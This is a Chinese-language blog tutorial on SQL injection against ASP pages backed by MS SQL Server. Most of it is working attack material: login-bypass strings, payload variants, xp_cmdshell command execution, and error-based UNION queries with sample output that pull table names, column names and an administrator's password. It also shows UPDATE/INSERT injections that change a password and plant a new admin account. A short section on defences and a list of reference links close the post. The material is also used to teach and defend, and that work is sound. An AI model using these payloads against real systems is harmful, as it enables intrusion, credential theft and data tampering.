首先你需要找到允許提交數據的頁面,如:登陸頁面、搜索頁面、反饋頁面、等等。有的時候,某些HTML

頁面會通過POST命令將所需要的參數傳遞給其他的ASP頁面。所以,有的時候你不會在URL路徑中看到相關
的參數。儘管如此,你仍可以通過查看HTML的源代碼中的"FORM"標籤來辨別是否有參數傳遞,相關的代碼
如下:

在與的標籤對間的每一個參數傳遞都有可能可以被利用(利用在攻擊的情況下)著SQL注入。

2.1當你找不到有輸入行為的頁面時應該怎麼辦呢?
你可以找一些相關ASP、JSP、CGI或PHP這類型的頁面。嘗試找一些帶有某些參數的特殊URL,如:
http://duck/index.asp?id=10

3.0你應該如何測試這些缺陷是否存在呢?
首先先加入某些特殊的字符標記,輸入如:
hi' or 1=1--
尋找一些登陸頁面,在其登陸ID與密碼輸入處,或URL中輸入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

如果想以『隱藏』的方式進行此類測試,你可以把該HTML網頁從網站上下載至本地硬盤,修改其隱藏部分
的值,如:

hod=post> 

如果閣下是幸運的話估計現在已經可以不需要帳號與密碼而『成功登陸』了。

3.1為什麼使用的是' or 1=1--呢?
讓我們來看看其他例子中使用'or 1=1--的重要性吧。有別於正常的登陸方式,使用這樣的登陸方式可能
可以得到正常登陸中不能得到的某些特殊信息。用一個鏈接中得到的ASP頁來打比方:
http://duck/index.asp?category=food
在上面這條URL中,'category'是一個變量名,而'food'是賦予該變量的值。
為了做到這些(鏈接成功),
這個ASP必須包含以下相關的代碼(下面也是我們為了演示這個實驗所寫的代碼):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我們所看到的,變量值將會預先處理然後賦值於'v_cat',也就是說該SQL語句將會變為:
SELECT * FROM product WHERE PCategory='food'
這個請求將會返回通過WHERE條件比較後得到的結果,在這個例子中也就是'food'了。現在設想一下如果
我們把該URL改成這樣的話:
http://duck/index.asp?category=food' or 1=1--
現在我們的變量v_cat的值就等同於"food' or 1=1--"了,現在如果我們要重新代入那條SQL請求的話,
那條SQL請求將會是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
現在這個請求將會從product表中選取每一條信息而並不會去理會PCategory是否等於'food'。至於結尾
部分的那兩條'--'(破折號)則用於『告訴』MS SQL SERVER忽略結尾最後的那個'(單引號)。有的時候也
可以使用'#'(井號)來代替'--'(雙破折號)在這裡的用法。

無論如何,如果對方不是一台SQL服務器(這裡指的是MS SQL SERVER),或者你不能使用簡單的方法去忽
略最後的那個單引號的話,你可以嘗試:
' or 'a'='a
這樣的話整個SQL請求將會變為:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也會返回相同的結果。
根據實際情況,SQL注入請求是可以有多種動態變化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0如何在SQL注入請求中加入即時執行命令?
能夠進行SQL注入的服務器通常都是一些疏於做系統性配置檢查的機器,此時我們可以嘗試使用SQL的命
令執行請求。默認的MS SQL服務器是運行在SYSTEM用戶級別下的,這等同於系統管理員的執行與訪問權
限。我們可以使用MS SQL SERVER的擴展儲存過程(如master..xp_cmdshell等)來執行遠程系統的某些命
令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失敗可以嘗試一下使用"(雙引號)代替'(單引號)。
上面例子中的第二個冒號代表一句SQL請求的結束(也代表了它後面緊跟著一條新SQL命令)。若要檢驗上
面這條

PING命令是否成功,你可以在10.10.1.2這台機器上監聽ICMP請求包,並確認它是否來自那台SQL
服務器就可以了:
#tcpdump icmp
如果你不能從那台SQL服務器中得到PING請求的話,並在SQL請求的返回值中得到錯誤信息的話,有可能
是因為該SQL服務器的管理員限制了WEB用戶訪問這些儲存過程了。

5.0如何可以獲取到我發的SQL請求的相關返回信息呢?
我們可以使用sp_makewebtask處理過程的相關請求寫入URL:
'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先決條件是目標主機的文件夾「share」屬性必須設置為「Everyone」。

6.0如何可以從數據庫返回的ODBC錯誤信息得到某些重要的數據呢?
我們可以通過發送精心構造的SQL請求迫使MS SQL SERVER從返回的信息中透露出我們想得到的信息(如表
名、列名等)。比方有這麼一個URL:
http://duck/index.asp?id=10
在上面的URL中我們可以嘗試使用UNION子句的方式在整數'10'之後加入其他請求字符串進去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系統表INFORMATION_SCHEMA.TABLES包括了這台服務器中所有表的信息。至於TABLE_NAME區域就
包括了每一個表的名稱。我們之所以要選擇這樣寫是因為我們知道它是一定存在的。換言之我們的SQL詢
問請求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服務器接到請求數據後必將返回數據庫的第一個表名。當我們使用UNION子句將請求字符串加入整數10之
後時,MS SQL SERVER會嘗試轉換該字符串為整數值。既然我們不能把字符串(nvarchar)轉為整數型(int
)時,系統就會產生錯誤。服務器會顯示如下錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好,這條錯誤信息告訴了我們轉換出現錯誤的所有相關信息(包括我們想知道的表名)。在這個實例
中,我們知道了第一個表名是「table1」。若要得到下一個表名,我們可以發送這樣的請求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我們也可以通過LIKE來找尋相關的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM IN

FORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE '%25login%25'--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
admin_login' to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我們可以利用另一個比較重要的表INFORMATION_SCHEMA.COLUMNS來羅列出一個表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login'--
輸出顯示為:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_id' to a column of data type int.
/index.asp, line 5
現在已經得到第一個列的名稱了,我們還可以用NOT IN ()得到下一個列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_name' to a column of data type int.
/index.asp, line 5
若繼續重複這樣的操作,我們將可以獲得餘下所有的列名,如"password"、"details"。當我們使用了下
面的請求後就可以得到(除了'login_id','login_name','password',details'之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'
,details')--
輸出後得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in
the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我們需要的數據?
現在我們需要鑒別出一些比較重要的表與列,我們可以用相同的技巧詢問數據庫從而得到相關的信息。
現在讓我們問問"admin_login"表的第一個用戶名是什麼吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
neo' to a column of data type int.
/index.asp, line 5
知道了一個管理員帳號是"neo"。最後,問問這個管理員帳號的密碼是什麼吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
neo'--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
m4trix' to a column of data type int.
/index.asp, line 5
現在我們可以用"neo"與他的密碼("m4trix")來登陸系統了。

6.3如何獲得數字串值?
在這裡技術上表達的一種局限性。若要將數字(0-9之間的數字)轉換為正常的文本數據的話,我們將無法
得到我們所需要的錯誤提示信息。舉個例子,我們現在要嘗試得到帳號為"trinity"的密碼,而它所對應
的密碼為"31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
trinity'--
這樣我們大概只能得到「Page Not Found」這樣的錯誤提示。這其中的主要問題在於,在與整數(這個例
子中為10)進行了合集(使用了UNION子句)以後這個密碼"31173"將會被系統轉換為數值。這樣的話這個UN
ION字句調用就是『合法』的了,SQL服務器將不會返回任何ODBC錯誤信息,因而我們是不可能得到這些
數字型數據的。
為了解決這個問題,我們可以為這些數據字符串加入一些字母表來確定轉化過程是錯誤的。讓我們試試
用下面的這條請求來代替原來的請求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM
admin_login where login_name='trinity'--
在這裡我們只不過是加入了一個(+)加號與其它我們想加入的字符進去而已(在ASCII中'+'等於0x2b)。我
們加入了一個(%20)空格與

morpheus(隨便一個字符串)進入實際的密碼數據中。這樣的話,即使我們得到
了數字串'31173',它也會變成'31173 morpheus'。
在執行了convert()函數後,系統會嘗試將'31173 morpheus'轉換為整數型,SQL服務器一定會返回這樣
的ODBC錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
31173 morpheus' to a column of data type int.
/index.asp, line 5
現在你可以知道'trinity'的密碼是'31173'了吧。

7.0如何在數據庫中更新/插入數據?
當成功地收集到表中所有的列後,我們就可以在表中UPDATE(升級/修改)原有的數據或者INSERT(加入)新
的數據。打個比方,我們要修改帳號"neo"的密碼:
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na
me='neo'--
加入一條新的記錄:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
', 'details') VALUES (666,'neo2','newpas5','NA')--
現在我們就可以以帳號"neo2"、密碼"newpas5"登陸系統了。

8.0如何避免被SQL注入攻擊?
過濾一些特殊像單引號、雙引號、斜槓、反斜槓、冒號、空字符等的字符,過濾的對象包括:
-用戶的輸入
-提交的URL請求中的參數部分
-從cookie中得到的數據
至於數字值,將其轉換為整數型之前必須有SQL語句聲明,或者用ISNUMERIC確定它為一個整型數。
修改「Startup and run SQL Server」的用戶運行級別為低級別。
刪除一系列你不需要的儲存過程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

參考資料:

http://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A

http://mini.nidbox.com/diary/read/7698772

SQL Injection 基本介紹
簡稱隱碼攻擊,中國大陸稱作SQL注入攻擊..

SQL資料隱碼攻擊 (wiki)

這幾篇是很白話的介紹︰
PHP+MySQL环境下SQL Injection攻防总结 (簡體)

SQL Injection with MySQL (簡體)

SQL Injection 範例

SQL Injection Attacks by Example
一堆常見的 sql injection 攻擊的範例與原理介紹

SQL Injection Walkthrough
一堆常見的 sql injection 攻擊的範例與原理介紹

SQL Injection Cheat Sheet
比前面兩個的更複雜的 sql injection 介紹

XSS (Cross Site Scripting) Cheat Sheet

HTML Purifier XSS Attacks Smoketest

By tony

自由軟體愛好者~喜歡不斷的思考各種問題,有新的事物都會想去學習嘗試 做實驗並熱衷研究 沒有所謂頂天的技術 只有謙虛及不斷的學習 精進專業,本站主要以分享系統及網路相關知識、資源而建立。 Github http://stnet253.github.io

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料